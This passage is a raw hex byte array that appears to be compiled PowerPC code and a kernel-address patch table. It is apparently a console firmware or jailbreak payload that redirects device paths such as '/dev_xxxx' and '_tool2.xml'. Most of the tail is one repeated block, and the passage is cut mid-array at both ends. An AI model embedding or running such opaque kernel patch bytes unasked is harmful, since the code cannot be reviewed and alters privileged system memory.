0x16, 0x2e, 0x81, + 0x3b, 0xe0, 0x00, 0x01, 0x7b, 0xff, 0xf8, 0x06, 0x67, 0xff, 0x00, 0x05, 0x63, 0xff, 0x0b, 0xbc, + 0xe8, 0x7f, 0x00, 0x00, 0x2c, 0x23, 0x00, 0x00, 0x41, 0x82, 0x00, 0x0c, 0x38, 0x80, 0x00, 0x27, + 0x48, 0x01, 0x17, 0xe9, 0x38, 0x80, 0x00, 0x27, 0x38, 0x60, 0x08, 0x00, 0x48, 0x01, 0x13, 0x9d, + 0xf8, 0x7f, 0x00, 0x00, 0xe8, 0x81, 0x00, 0x70, 0x4b, 0xff, 0xc5, 0xf9, 0xe8, 0x61, 0x00, 0x70, + 0x38, 0x80, 0x00, 0x27, 0x48, 0x01, 0x17, 0xc5, 0xe8, 0x7f, 0x00, 0x00, 0x4b, 0xff, 0xc6, 0x0d, + 0xe8, 0x9f, 0x00, 0x00, 0x7c, 0x64, 0x1a, 0x14, 0xf8, 0x7f, 0x00, 0x08, 0x38, 0x60, 0x00, 0x00, + 0xeb, 0xe1, 0x00, 0xc8, 0xe8, 0x01, 0x00, 0xe0, 0x38, 0x21, 0x00, 0xd0, 0x7c, 0x08, 0x03, 0xa6, + 0x4e, 0x80, 0x00, 0x20, 0xf8, 0x21, 0xff, 0x61, 0x7c, 0x08, 0x02, 0xa6, 0xfb, 0x81, 0x00, 0x80, + 0xfb, 0xa1, 0x00, 0x88, 0xfb, 0xe1, 0x00, 0x98, 0xfb, 0x41, 0x00, 0x70, 0xfb, 0x61, 0x00, 0x78, + 0xf8, 0x01, 0x00, 0xb0, 0x7c, 0x9c, 0x23, 0x78, 0x7c, 0x7d, 0x1b, 0x78, 0x3b, 0xe0, 0x00, 0x01, + 0x7b, 0xff, 0xf8, 0x06, 0x7f, 0xa3, 0xeb, 0x78, 0x7f, 0xe4, 0xfb, 0x78, 0x64, 0x84, 0x00, 0x05, + 0x60, 0x84, 0x10, 0x28, 0x38, 0xa0, 0x00, 0x09, 0x4b, 0xff, 0xc5, 0xcd, 0x28, 0x23, 0x00, 0x00, + 0x40, 0x82, 0x00, 0x34, 0x67, 0xff, 0x00, 0x05, 0x63, 0xff, 0x0b, 0xbc, 0x80, 0x7f, 0x00, 0x10, + 0x28, 0x03, 0x00, 0x00, 0x41, 0x82, 0x00, 0x20, 0xe8, 0x7f, 0x00, 0x00, 0x28, 0x23, 0x00, 0x00, + 0x41, 0x82, 0x00, 0x14, 0xe8, 0x7f, 0x00, 0x08, 0x38, 0x9d, 0x00, 0x09, 0x4b, 0xff, 0xc5, 0x45, + 0xeb, 0xbf, 0x00, 0x00, 0x7f, 0xa3, 0xeb, 0x78, 0x48, 0x25, 0xa2, 0x38, 0x7c, 0x08, 0x02, 0xa6, + 0xf8, 0x21, 0xfe, 0x61, 0xfb, 0x61, 0x00, 0x78, 0xfb, 0x81, 0x00, 0x80, 0xfb, 0xa1, 0x00, 0x88, + 0xfb, 0xc1, 0x00, 0x90, 0xfb, 0xe1, 0x00, 0x98, 0xf8, 0x01, 0x01, 0xb0, 0x7c, 0x7d, 0x1b, 0x78, + 0x7c, 0x9e, 0x23, 0x78, 0x3b, 0xe0, 0x00, 0x01, 0x7b, 0xff, 0xf8, 0x06, 0xeb, 0x82, 0x96, 0x00, + 0xeb, 0x9c, 0x00, 0x68, 0xeb, 0x9c, 0x00, 0x18, 0xeb, 0x62, 0x0f, 0x08, 0xe9, 0x3d, 0x00, 0x18, + 0x81, 0x29, 0x00, 0x30, 0x79, 0x29, 0x84, 0x02, 0x2c, 0x09, 0x00, 0x29, 0x40, 0x82, 0x00, 0x58, + 0xe8, 0x9c, 0x00, 0x10, 0x78, 0x85, 0xc1, 0xe4, 0x78, 0xa5, 0x46, 0x20, 0x2c, 0x05, 0x00, 0xff, + 0x41, 0x82, 0x00, 0x18, 0x60, 0x84, 0x00, 0x03, 0xf8, 0x9c, 0x00, 0x10, 0x38, 0x60, 0x00, 0x06, + 0x90, 0x7e, 0x00, 0x00, 0x48, 0x00, 0x00, 0x14, 0x60, 0x84, 0x00, 0x02, 0xf8, 0x9c, 0x00, 0x10, + 0x38, 0x60, 0x00, 0x2c, 0x90, 0x7e, 0x00, 0x00, 0x80, 0xbc, 0x00, 0x04, 0xe8, 0x9c, 0x00, 0x08, + 0xe8, 0x7b, 0x00, 0x00, 0x7d, 0x23, 0x2a, 0x14, 0xf9, 0x3b, 0x00, 0x00, 0x48, 0x02, 0xb1, 0xc1, + 0x48, 0x00, 0x00, 0xc4, 0x7f, 0xa3, 0xeb, 0x78, 0x7f, 0xc4, 0xf3, 0x78, 0x4b, 0xff, 0xd9, 0xb1, + 0x7f, 0xfd, 0xfb, 0x78, 0x67, 0xbd, 0x00, 0x05, 0x63, 0xbd, 0x0b, 0xd0, 0x80, 0x7d, 0x00, 0x00, + 0x80, 0xbc, 0x00, 0x04, 0x7c, 0x63, 0x2a, 0x14, 0x90, 0x7d, 0x00, 0x00, 0xe8, 0x9c, 0x00, 0x10, + 0x78, 0x85, 0xc1, 0xe4, 0x78, 0xa5, 0x46, 0x20, 0x2c, 0x05, 0x00, 0xff, 0x40, 0x82, 0x00, 0x88, + 0xe8, 0x7b, 0x00, 0x00, 0x38, 0x80, 0x00, 0x00, 0x38, 0xc0, 0x00, 0x00, 0x7c, 0xe3, 0x22, 0x14, + 0x80, 0xa7, 0x00, 0x00, 0x7c, 0xc6, 0x2a, 0x78, 0x38, 0x84, 0x00, 0x04, 0x28, 0x24, 0x04, 0x00, + 0x40, 0x82, 0xff, 0xec, 0x80, 0x7d, 0x00, 0x00, 0x78, 0xc6, 0x07, 0xc6, 0x7c, 0xc6, 0x1b, 0x78, + 0x38, 0x60, 0x00, 0x00, 0x90, 0x7d, 0x00, 0x00, 0x7f, 0xe7, 0xfb, 0x78, 0x64, 0xe7, 0x00, 0x05, + 0x60, 0xe7, 0x0f, 0x70, 0xe8, 0x67, 0x00, 0x00, 0x28, 0x23, 0x00, 0x00, 0x41, 0x82, 0x00, 0x38, + 0x38, 0xe7, 0x00, 0x10, 0x7c, 0x23, 0x30, 0x40, 0x40, 0x82, 0xff, 0xec, 0xe8, 0xa7, 0xff, 0xf8, + 0xe8, 0xfb, 0x00, 0x00, 0x80, 0x65, 0x00, 0x00, 0x28, 0x03, 0x00, 0x00, 0x41, 0x82, 0x00, 0x18, + 0x80, 0x85, 0x00, 0x04, 0x7c, 0x63, 0x3a, 0x14, 0x90, 0x83, 0x00, 0x00, 0x38, 0xa5, 0x00, 0x08, + 0x4b, 0xff, 0xff, 0xe4, 0x38, 0x60, 0x00, 0x00, 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, + 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x01, 0xb0, + 0x38, 0x21, 0x01, 0xa0, 0x7c, 0x08, 0x03, 0xa6, 0x4e, 0x80, 0x00, 0x20, 0xf8, 0x21, 0xff, 0x51, + 0x7c, 0x08, 0x02, 0xa6, 0xfb, 0xc1, 0x00, 0xa0, 0xfb, 0xe1, 0x00, 0xa8, 0xfb, 0xa1, 0x00, 0x98, + 0xf8, 0x01, 0x00, 0xc0, 0x3b, 0xc0, 0x0f, 0xa0, 0x3b, 0xe0, 0x00, 0xc8, 0x4b, 0xfb, 0x9b, 0x98, + 0xa0, 0x55, 0x6f, 0x3d, 0x00, 0x2c, 0xb8, 0xfd, 0x80, 0x00, 0x00, 0x00, 0x00, 0x05, 0x0f, 0xb8, + 0x8c, 0x0a, 0x94, 0x8c, 0x00, 0x0d, 0x99, 0xb1, 0x80, 0x00, 0x00, 0x00, 0x00, 0x05, 0x0f, 0xe0, + 0xa2, 0xbc, 0x1a, 0x56, 0x00, 0x05, 0x2a, 0xdc, 0x80, 0x00, 0x00, 0x00, 0x00, 0x05, 0x10, 0x04, + 0x6b, 0x70, 0x28, 0x02, 0x00, 0x02, 0x00, 0x17, 0x80, 0x00, 0x00, 0x00, 0x00, 0x05, 0x0f, 0xd4, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x53, 0x54, 0x38, 0x60, 0x00, 0x82, + 0x00, 0x5f, 0x3f, 0xc0, 0x38, 0x60, 0x00, 0x01, 0x00, 0x5f, 0x3f, 0xc4, 0x4e, 0x80, 0x00, 0x20, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xed, 0x0c, 0x3b, 0xa0, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x22, 0xb8, 0x88, 0x5f, 0x74, 0x6f, 0x6f, 0x00, 0x22, 0xb8, 0x8c, 0x6c, 0x32, 0x2e, 0x78, + 0x00, 0x22, 0xb8, 0x90, 0x6d, 0x6c, 0x23, 0x72, 0x00, 0x22, 0xb8, 0x94, 0x6f, 0x6f, 0x74, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x68, 0xb8, 0x5f, 0x74, 0x6f, 0x6f, 0x00, 0x0d, 0x68, 0xbc, + 0x6c, 0x32, 0x2e, 0x78, 0x00, 0x0d, 0x68, 0xc0, 0x6d, 0x6c, 0x23, 0x72, 0x00, 0x0d, 0x68, 0xc4, + 0x6f, 0x6f, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2f, 0x64, 0x65, 0x76, 0x5f, 0x78, 0x78, 0x78, + 0x78, 0x00, 0x6d, 0x6f, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 